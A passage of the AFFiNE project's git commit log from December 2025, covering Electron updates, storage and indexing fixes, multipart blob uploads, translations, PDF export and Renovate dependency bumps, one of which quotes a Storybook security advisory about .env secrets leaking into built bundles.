2025-12-28 02:37:02 +08:00
DarkSky
6514614df8 feat: bump electron (#14158) 2025-12-27 23:54:11 +08:00
DarkSky
702dbf7be4 fix: client indexing & outdated scheme (#14160)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Optimized storage handling with platform-specific
implementations—SQLite for Electron and IndexedDB for other environments
for improved performance.

* **Bug Fixes**
* Enhanced recording file access and retrieval functionality for better
reliability.
  * Strengthened local file protocol handling and security restrictions.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-27 17:56:42 +08:00
DarkSky
78949044ec feat: improve idb perf (#14159)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Performance**
* Optimized database operations through improved batch processing to
accelerate data retrieval, updates, and deletion operations for better
efficiency.

* **Reliability**
* Enhanced transaction durability handling to strengthen data
consistency and ensure more reliable persistence of database changes and
updates.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-27 08:22:37 +08:00
DarkSky
4eed92cebf feat: improve electron sandbox (#14156) 2025-12-27 03:23:28 +08:00
DarkSky
3fe8923fc3 fix: flatpak bundle (#14155) 2025-12-26 23:37:53 +08:00
DarkSky
ca386283c5 feat: bump electron (#14151) 2025-12-26 09:41:16 +08:00
DarkSky
2e38898937 feat: refresh index if version changed (#14150) 2025-12-26 01:08:05 +08:00
DarkSky
e8693a3a25 feat: introduce fuzzy search for native indexer (#14109) 2025-12-25 04:40:23 +08:00
github-actions[bot]
b6dc68eddf chore(i18n): sync translations (#14054)
New Crowdin translations by [Crowdin GH
Action](https://github.com/crowdin/github-action)

---------

Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-12-24 03:12:32 +08:00
keke
08a30edb2d chore: correct the wrong file path in building doc (#14145)
When I read the
[building-desktop-client-app.md](https://github.com/toeverything/AFFiNE/blob/canary/docs/building-desktop-client-app.md)
to build Artifacts locally, I find there have some legacy path due to
some project structure updates.

So this is a litte fix to correct the unmatched path in the doc.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Updated desktop client app building documentation to reflect changes
in the project structure and configuration setup.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-24 02:45:39 +08:00
Daniel Dybing
6c9ab603eb feat(i18n): updated Norwegian translations to 20% (#14133)
Updated translations for Norwegian Bokmål to 20%. 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Localization**
* Enhanced Norwegian Bokmål language support with expanded translations
covering profile settings, email verification, journal, tags, copy
actions, edgeless mode, and additional interface elements.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-24 01:42:23 +08:00
DarkSky
4b721dffe0 feat: set admin name when self hosted init (#14146)
fix #14134
2025-12-23 23:38:34 +08:00
DarkSky
a1f1c61a9f fix: ci 2025-12-23 23:26:19 +08:00
DarkSky
76524084d1 feat: multipart blob sync support (#14138)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Flexible blob uploads: GRAPHQL, presigned, and multipart flows with
per‑part URLs, abort/complete operations, presigned proxy endpoints, and
nightly cleanup of expired pending uploads.

* **API / Schema**
* GraphQL additions: new types, mutations, enum and error to manage
upload lifecycle (create, complete, abort, get part URL).

* **Database**
* New blob status enum and columns (status, upload_id); listing now
defaults to completed blobs.

* **Localization**
  * Added user-facing message: "Blob is invalid."

* **Tests**
* Expanded unit and end‑to‑end coverage for upload flows, proxy
behavior, multipart and provider integrations.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-23 22:09:21 +08:00
DarkSky
a9937e18b6 fix: cleanup expired records (#14140) 2025-12-23 22:08:57 +08:00
Daniel Dybing
7539135c4d feat(i18n): Updated Norwegian translations to 12% (#14125)
Updated Norwegian bokmål translations to 12% completeness.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Localization**
* Expanded Norwegian language support with numerous new translations for
UI elements, including workspace settings, keyboard shortcuts,
authentication messages, and cloud features.
* Improved translation coverage for Norwegian, bringing the completeness
metric from 9 to 12 with additional localized strings across the
application.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-21 20:02:44 +00:00
Daniel Dybing
8f59509e73 feat(editor): add delete key support for table view (#14119)
This PR allows the user to use the `Delete` key to delete the content of
one or more cells in a Table View. Previously, this was only possible to
do with the `Backspace` key. Both keys can now be used, which is often
the norm in other tools - such as Notion and Excel.

In short, the logic for the `Backspace` key has been moved to a separate
function which is called by keyevents from both the `Backspace` and
`Delete` keys.

Affected files: 
-
blocksuite/affine/data-view/src/view-presets/table/pc-virtual/controller/hotkeys.ts
-
blocksuite/affine/data-view/src/view-presets/table/pc/controller/hotkeys.ts

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Refactor**
* Optimized table hotkey handling logic to consolidate delete and
backspace operations for improved code maintainability.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-22 03:17:05 +08:00
DarkSky
321965a424 feat: impl text delta support (#14132) 2025-12-22 03:16:16 +08:00
renovate[bot]
efbdee5508 chore: bump up storybook version to v10.1.10 [SECURITY] (#14131)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [storybook](https://storybook.js.org)
([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/core))
| [`10.1.5` ->
`10.1.10`](https://renovatebot.com/diffs/npm/storybook/10.1.5/10.1.10) |
![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/10.1.10?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/10.1.5/10.1.10?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-68429](https://redirect.github.com/storybookjs/storybook/security/advisories/GHSA-8452-54wp-rmv6)

On December 11th, the Storybook team received a responsible disclosure
alerting them to a potential vulnerability in certain built and
published Storybooks.

The vulnerability is a bug in how Storybook handles environment
variables defined in a `.env` file, which could, in specific
circumstances, lead to those variables being unexpectedly bundled into
the artifacts created by the `storybook build` command. When a built
Storybook is published to the web, the bundle’s source is viewable, thus
potentially exposing those variables to anyone with access. If those
variables contained secrets, they should be considered compromised.

## Who is impacted?

For a project to be vulnerable to this issue, it must:

- Build the Storybook (i.e. run `storybook build` directly or
indirectly) in a directory that contains a `.env` file (including
variants like `.env.local`)
- The `.env` file contains sensitive secrets
- Use Storybook version `7.0.0` or above
- Publish the built Storybook to the web

Storybooks built without a `.env` file at build time are not affected,
including common CI-based builds where secrets are provided via platform
environment variables rather than `.env` files.

Users' Storybook runtime environments (i.e. `storybook dev`) are not
affected. Deployed applications that share a repo with a project's
Storybook are not affected.

Storybook 6 and below are not affected.

## Recommended actions

First, Storybook recommends that everyone audit for any sensitive
secrets provided via `.env` files and rotate those keys.

Second, Storybook has released patched versions of all affected major
Storybook versions that no longer have this vulnerability. Projects
should upgrade their Storybook—on both local machines and CI
environments—to one of these versions **before publishing again**.

- `10.1.10+`
- `9.1.17+`
- `8.6.15+`
- `7.6.21+`

Finally, some projects may have been relying on the undocumented
behavior at the heart of this issue and will need to change how they
reference environment variables after this update. If a project can no
longer read necessary environmental variable values, it can either
prefix the variables with `STORYBOOK_` or use the [`env` property in
Storybook’s
configuration](https://storybook.js.org/docs/configure/environment-variables#using-storybook-configuration)
to manually specify values. In either case, **do not** include sensitive
secrets as they *will* be included in the built bundle.

## Further information

Details of the vulnerability can be found on the [Storybook
announcement](https://storybook.js.org/blog/security-advisory).

---

### Release Notes

<details>
<summary>storybookjs/storybook (storybook)</summary>

###
[`v10.1.10`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#10110)

[Compare
Source](https://redirect.github.com/storybookjs/storybook/compare/v10.1.9...v10.1.10)

- Core: Fix `.env`-file parsing -
[#&#8203;33383](https://redirect.github.com/storybookjs/storybook/pull/33383),
thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
- Next.js: Handle v14 compatibility for draftMode import -
[#&#8203;33341](https://redirect.github.com/storybookjs/storybook/pull/33341),
thanks [@&#8203;tanujbhaud](https://redirect.github.com/tanujbhaud)!

###
[`v10.1.9`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#1019)

[Compare
Source](https://redirect.github.com/storybookjs/storybook/compare/v10.1.8...v10.1.9)

- Telemetry: Remove instance of check for sub-error handling -
[#&#8203;33356](https://redirect.github.com/storybookjs/storybook/pull/33356),
thanks
[@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!

###
[`v10.1.8`](https://redirect.github.com/storybookjs/storybook/compare/v10.1.7...7cd0cbca4ee2f2c082c9876de2fb2feba6c12bbf)

[Compare
Source](https://redirect.github.com/storybookjs/storybook/compare/v10.1.7...v10.1.8)

###
[`v10.1.7`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#1017)

[Compare
Source](https://redirect.github.com/storybookjs/storybook/compare/v10.1.6...v10.1.7)

- Automigrate: Fix missing await -
[#&#8203;33333](https://redirect.github.com/storybookjs/storybook/pull/33333),
thanks
[@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
- CLI: Remove REACT\_PROJECT projectType -
[#&#8203;33334](https://redirect.github.com/storybookjs/storybook/pull/33334),
thanks
[@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
- Core: Exclude open from pre-bundling to make local xdg-open reachable
-
[#&#8203;33325](https://redirect.github.com/storybookjs/storybook/pull/33325),
thanks [@&#8203;Sidnioulz](https://redirect.github.com/Sidnioulz)!
- Nextjs-Vite: Install `vite` during migration if not installed yet -
[#&#8203;33316](https://redirect.github.com/storybookjs/storybook/pull/33316),
thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
- Telemetry: Fix race condition in telemetry cache causing malformed
JSON -
[#&#8203;33323](https://redirect.github.com/storybookjs/storybook/pull/33323),
thanks
[@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!

###
[`v10.1.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#1016)

[Compare
Source](https://redirect.github.com/storybookjs/storybook/compare/v10.1.5...v10.1.6)

- Manager: Do not display non-existing shortcuts in the settings page -
[#&#8203;32711](https://redirect.github.com/storybookjs/storybook/pull/32711),
thanks [@&#8203;DKER2](https://redirect.github.com/DKER2)!
- Preview: Enforce inert body if manager is focus-trapped -
[#&#8203;33186](https://redirect.github.com/storybookjs/storybook/pull/33186),
thanks [@&#8203;Sidnioulz](https://redirect.github.com/Sidnioulz)!
- Telemetry: Await pending operations in getLastEvents to prevent race
conditions -
[#&#8203;33285](https://redirect.github.com/storybookjs/storybook/pull/33285),
thanks
[@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
- UI: Fix keyboard navigation bug for "reset" option in `Select` -
[#&#8203;33268](https://redirect.github.com/storybookjs/storybook/pull/33268),
thanks [@&#8203;Sidnioulz](https://redirect.github.com/Sidnioulz)!

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi41OS4wIiwidXBkYXRlZEluVmVyIjoiNDIuNTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-21 09:21:20 +00:00
Daniel Dybing
28a1ac4772 feat(core): focus on text body when opening journal (#14122)
Related to issue https://github.com/toeverything/AFFiNE/issues/14094

This PR makes it so that focus is put on the input body when loading a
journal. A check is made when loading the document whether it is a
normal document or a journal document. If it is a journal document, the
last noteblock in the document is focused on. This does not change how
the title is focused on normal documents.

This makes it more effortless to use the journal, as you don't have to
click on the body of the journal after opening/creating it.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Improved editor focus for journal documents: when opening or switching
to a journal the cursor now auto-positions to the end of the last note
entry (or the input area) after a short, smooth delay for faster typing
and reliable focus behavior.

* **Bug Fixes**
* Added safeguards and error handling to make automatic focus more
robust across load and editor states.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-20 06:45:40 +00:00
Daniel Dybing
caeec23ec6 feat(i18n): added support for Norwegian (Bokmål) (#14121)
Added support for Norwegian (Bokmål). 

Translation completeness is currently at 9%. 

<img width="1908" height="909" alt="Screenshot from 2025-12-18 13-57-15"
src="https://github.com/user-attachments/assets/4a6def20-92d5-4415-9976-301e23887187"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Norwegian Bokmål (nb-NO) language is now available with localized
interface and UI translations.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-19 17:24:17 +08:00
Daniel Dybing
a1767ebedb fix(core): fixed keyboard shortcut help for Windows and Linux (#14088)
This PR is related to issue
https://github.com/toeverything/AFFiNE/issues/13290

Keyboard shortcut for copying a private link works as expected, but the
overview of shortcuts shows the Mac shortcut for Windows, web and Linux
users. This fix shows the correct (Ctrl+Shift+C) shortcut to the
aforementioned users.

I have not tested this on a Mac (neither in browser nor in the app), but
ideally this should not have an impact for Mac users as the logic for
showing the correct shortcut is already implemented.

Affected files: 
- packages/frontend/core/src/components/hooks/affine/use-shortcuts.ts


Old: 
<img width="1402" height="946" alt="old_shortcut"
src="https://github.com/user-attachments/assets/5c8f2133-2b4d-49c7-8054-851c7de8f3cd"
/>

New:
<img width="650" height="379" alt="Keyboard shortcut fix"
src="https://github.com/user-attachments/assets/a29e2f7a-53d7-4743-a9b1-aa30e7622dd1"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Corrected the keyboard shortcut for copying private links on Windows
from Command+Shift+C to Ctrl+Shift+C.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-17 19:58:01 +08:00
hi
b052c92421 fix: fix typo in link shortcut key binding (#14117)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Corrected keyboard shortcut mapping for link function, ensuring it
properly recognizes Ctrl+K command.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-17 10:15:25 +00:00
Daniel Dybing
66407f2b2f feat(core): adapt date fields in database for notion import (#14111)
This is related to issue/feature request
https://github.com/toeverything/AFFiNE/issues/13962.

This PR extends the Notion import functionality to properly handle date
fields from databases. Previously, these were imported as text (see
photo below), which served little purpose. These Notion date fields are
now parsed as actual dates, and imported to AFFiNE as epoch time (which
is what the date field in AFFiNe expects). Because of this, even date
fields with time (e.g. 09:00 AM) are also handled correctly - although
they are only shown as dates, since AFFiNE's `Date` field does not
support time.

Tested with several Notion imports both with and without time, and they
all seem to work correctly.


Affected files: 
- blocksuite/affine/blocks/database/src/adapters/notion-html.ts

Old: 
<img width="802" height="305" alt="image"
src="https://github.com/user-attachments/assets/44019dba-cffb-4a30-a5ea-69cd9f86e0a1"
/>

New: 
<img width="804" height="271" alt="image"
src="https://github.com/user-attachments/assets/3f52f328-7ee3-4754-9726-10dcfa0f8462"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Enhanced Notion imports with automatic date column detection. When
importing Notion databases, date fields are now automatically
recognized, properly configured as date columns, and formatted
correctly. This improvement ensures accurate data preservation,
eliminates manual type corrections, and provides a streamlined import
experience for all users working with date-rich Notion databases.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-16 02:55:34 +00:00
Daniel Dybing
f5076a37ae feat(core): find todo list based on 'checkbox' search query (#13982)
This feature enhances the /slash command by allowing users to search for
'checkbox' and have the to-do list item show up as a result. Users come
from different systems and environments, and some may use the name
'checkbox' but be confused as they cannot find it in the search menu.

This is achieved by adding a `searchAlias` property on the to-do list
item block that contains the string `checkbox`.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added search-alias support for slash menu items so entries can be
found by alternative terms.
* To-do List entry now includes "checkbox" as an additional searchable
alias to improve discoverability.
* Slash menu search results updated to reflect alias-driven matches
(additional item appears when searching).

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-15 15:32:00 +08:00
DarkSky
4717886c9e fix: title icon display (#14101)
fix #14073
2025-12-14 01:00:01 +08:00
DarkSky
844b9d9592 feat(server): impl native reader for server (#14100) 2025-12-14 00:28:43 +08:00
Xun Sun
a0eeed0cdb feat: implement export as PDF (#14057)
I used [pdfmake](https://www.npmjs.com/package/pdfmake) to implement an
"export as PDF" feature, and I am happy to share with you!

This should fix #13577, fix #8846, and fix #13959.

A showcase:

[Getting
Started.pdf](https://github.com/user-attachments/files/24013057/Getting.Started.pdf)

Although it might miss rendering some properties currently, it can
evolve in the long run and provide a more native experience for the
users.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
- Experimental "Export to PDF" option added to the export menu (behind a
feature flag)
- PDF export supports headings, paragraphs, lists, code blocks, tables,
images, callouts, linked documents and embedded content

* **Chores**
  - Added PDF rendering library and consolidated PDF utilities
  - Feature flag introduced to control rollout

* **Tests**
  - Comprehensive unit tests added for PDF content rendering logic

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-12-13 18:05:25 +08:00
Fangdun Tsai
246e09e0cd fix: roll back electron version to v35 (#14089)
In electron v36, all workers do not work. 
The webpack configuration is too complicated, so go back first.

If start a new project with [forge](https://www.electronforge.io/) and
latest electron, the worker works well.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Downgraded the Electron development/runtime used for building and
testing the desktop app from v36 to v35; this is a
development-environment change with no functional or API changes
affecting end users.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-12 02:46:58 +00:00
renovate[bot]
7f96c97b67 chore: bump up rustc version to v1.92.0 (#13624)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | minor | `1.91.0`
-> `1.92.0` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

###
[`v1.92.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1920-2025-12-11)

[Compare
Source](https://redirect.github.com/rust-lang/rust/compare/1.91.1...1.92.0)

\==========================

<a id="1.92.0-Language"></a>

## Language

- [Document `MaybeUninit` representation and
validity](https://redirect.github.com/rust-lang/rust/pull/140463)
- [Allow `&raw [mut | const]` for union field in safe
code](https://redirect.github.com/rust-lang/rust/pull/141469)
- [Prefer item bounds of associated types over where-bounds for
auto-traits and
`Sized`](https://redirect.github.com/rust-lang/rust/pull/144064)
- [Do not materialize `X` in `[X; 0]` when `X` is unsizing a
const](https://redirect.github.com/rust-lang/rust/pull/145277)
- [Support combining `#[track_caller]` and `#[no_mangle]` (requires
every declaration specifying `#[track_caller]` as
well)](https://redirect.github.com/rust-lang/rust/pull/145724)
- [Make never type lints `never_type_fallback_flowing_into_unsafe` and
`dependency_on_unit_never_type_fallback`
deny-by-default](https://redirect.github.com/rust-lang/rust/pull/146167)
- [Allow specifying multiple bounds for same associated item, except in
trait objects](https://redirect.github.com/rust-lang/rust/pull/146593)
- [Slightly strengthen higher-ranked region handling in
coherence](https://redirect.github.com/rust-lang/rust/pull/146725)
- [The `unused_must_use` lint no longer warns on `Result<(),
Uninhabited>` (for instance, `Result<(), !>`), or
`ControlFlow<Uninhabited,
()>`](https://redirect.github.com/rust-lang/rust/pull/147382). This
avoids having to check for an error that can never happen.

<a id="1.92.0-Compiler"></a>

## Compiler

- [Make `mips64el-unknown-linux-muslabi64` link
dynamically](https://redirect.github.com/rust-lang/rust/pull/146858)
- [Remove current code for embedding command-line args in
PDB](https://redirect.github.com/rust-lang/rust/pull/147022)
Command-line information is typically not needed by debugging tools, and
the removed code
was causing problems for incremental builds even on targets that don't
use PDB debuginfo.

<a id="1.92.0-Libraries"></a>

## Libraries

- [Specialize `Iterator::eq{_by}` for `TrustedLen`
iterators](https://redirect.github.com/rust-lang/rust/pull/137122)
- [Simplify `Extend` for
tuples](https://redirect.github.com/rust-lang/rust/pull/138799)
- [Added details to `Debug` for
`EncodeWide`](https://redirect.github.com/rust-lang/rust/pull/140153).
-
[`iter::Repeat::last`](https://redirect.github.com/rust-lang/rust/pull/147258)
and [`count`](https://redirect.github.com/rust-lang/rust/pull/146410)
will now panic, rather than looping infinitely.

<a id="1.92.0-Stabilized-APIs"></a>

## Stabilized APIs

-
[`NonZero<u{N}>::div_ceil`](https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.div_ceil)
-
[`Location::file_as_c_str`](https://doc.rust-lang.org/stable/std/panic/struct.Location.html#method.file_as_c_str)
-
[`RwLockWriteGuard::downgrade`](https://doc.rust-lang.org/stable/std/sync/struct.RwLockWriteGuard.html#method.downgrade)
-
[`Box::new_zeroed`](https://doc.rust-lang.org/stable/std/boxed/struct.Box.html#method.new_zeroed)
-
[`Box::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/boxed/struct.Box.html#method.new_zeroed_slice)
-
[`Rc::new_zeroed`](https://doc.rust-lang.org/stable/std/rc/struct.Rc.html#method.new_zeroed)
-
[`Rc::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/rc/struct.Rc.html#method.new_zeroed_slice)
-
[`Arc::new_zeroed`](https://doc.rust-lang.org/stable/std/sync/struct.Arc.html#method.new_zeroed)
-
[`Arc::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/sync/struct.Arc.html#method.new_zeroed_slice)
-
[`btree_map::Entry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/btree_map/enum.Entry.html#method.insert_entry)
-
[`btree_map::VacantEntry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/btree_map/struct.VacantEntry.html#method.insert_entry)
- [`impl Extend<proc_macro::Group> for
proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CGroup%3E-for-TokenStream)
- [`impl Extend<proc_macro::Literal> for
proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CLiteral%3E-for-TokenStream)
- [`impl Extend<proc_macro::Punct> for
proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CPunct%3E-for-TokenStream)
- [`impl Extend<proc_macro::Ident> for
proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CIdent%3E-for-TokenStream)

These previously stable APIs are now stable in const contexts:

-
[`<[_]>::rotate_left`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.rotate_left)
-
[`<[_]>::rotate_right`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.rotate_right)

<a id="1.92.0-Cargo"></a>

## Cargo

- [Added a new
chapter](https://redirect.github.com/rust-lang/cargo/issues/16119) to
the Cargo book, ["Optimizing Build
Performance"](https://doc.rust-lang.org/stable/cargo/guide/build-performance.html).

<a id="1.92.0-Rustdoc"></a>

## Rustdoc

- [If a trait item appears in rustdoc search, hide the corresponding
impl items](https://redirect.github.com/rust-lang/rust/pull/145898).
Previously a search for "last" would show both `Iterator::last` as well
as impl methods like `std::vec::IntoIter::last`. Now these impl methods
will be hidden, freeing up space for inherent methods like
`BTreeSet::last`.
- [Relax rules for identifiers in
search](https://redirect.github.com/rust-lang/rust/pull/147860).
Previously you could only search for identifiers that were valid in rust
code, now searches only need to be valid as part of an identifier. For
example, you can now perform a search that starts with a digit.

<a id="1.92.0-Compatibility-Notes"></a>

## Compatibility Notes

- [Fix backtraces with `-C panic=abort` on Linux by generating unwind
tables by
default](https://redirect.github.com/rust-lang/rust/pull/143613). Build
with `-C force-unwind-tables=no` to keep omitting unwind tables.

* As part of the larger effort refactoring compiler built-in attributes
and their diagnostics, [the future-compatibility lint
`invalid_macro_export_arguments` is upgraded to deny-by-default and will
be reported in dependencies
too.](https://redirect.github.com/rust-lang/rust/pull/143857)
* [Update the minimum external LLVM to
20](https://redirect.github.com/rust-lang/rust/pull/145071)
* [Prevent downstream `impl DerefMut for
Pin<LocalType>`](https://redirect.github.com/rust-lang/rust/pull/145608)
* [Don't apply temporary lifetime extension rules to the arguments of
non-extended `pin!` and formatting
macros](https://redirect.github.com/rust-lang/rust/pull/145838)

###
[`v1.91.1`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1911-2025-11-10)

[Compare
Source](https://redirect.github.com/rust-lang/rust/compare/1.91.0...1.91.1)

\===========================

<a id="1.91.1"></a>

- [Enable file locking support in
illumos](https://redirect.github.com/rust-lang/rust/pull/148322). This
fixes Cargo not locking the build directory on illumos.
- [Fix `wasm_import_module` attribute
cross-crate](https://redirect.github.com/rust-lang/rust/pull/148363).
This fixes linker errors on WASM targets.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQyLjQyLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-12 02:26:29 +00:00
Richard Lora
f832b28dac feat(editor): add date grouping configurations (#12679)
https://github.com/user-attachments/assets/d5578060-2c8c-47a5-ba65-ef2e9430518b

This PR adds the ability to group-by date with configuration which an
example is shown in the image below:


![image](https://github.com/user-attachments/assets/8762342a-999e-444e-afa2-5cfbf7e24907)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Date-based grouping modes (relative, day, week Sun/Mon, month, year),
a date group renderer, and quick lookup for group-by configs by name.

* **Improvements**
* Enhanced group settings: date sub‑modes, week‑start, per‑group
visibility, Hide All/Show All, date sort order, improved drag/drop and
reorder.
* Consistent popup placement/middleware, nested popup positioning,
per‑item close-on-select, and enforced minimum menu heights.
* UI: empty groups now display "No <property>"; views defensively handle
null/hidden groups.

* **Tests**
  * Added unit tests for date-key sorting and comparison.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Norkz <richardlora557@gmail.com>
Co-authored-by: graphite-app[bot] <96075541+graphite-app[bot]@users.noreply.github.com>
2025-12-11 22:32:21 +00:00
DarkSky
b258fc3775 feat: update dmg compress algorithm 2025-12-11 21:11:35 +08:00
Mord0reK
396cda2fff feat(i18n): add Polish language support (#14080)
It's my first time making a pull request to any repo. If there are any
issues, let me know.

## Summary
Adds Polish language support. Translation is 98% complete (10,447/10,646
words).

## Changes
- Added `pl` to Language type
- Added Polish to SUPPORTED_LANGUAGES with lazy loading

The `pl.json` file already exists in the repo with good translation
coverage. Some AI-related strings are not yet translated but will fall
back to English.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
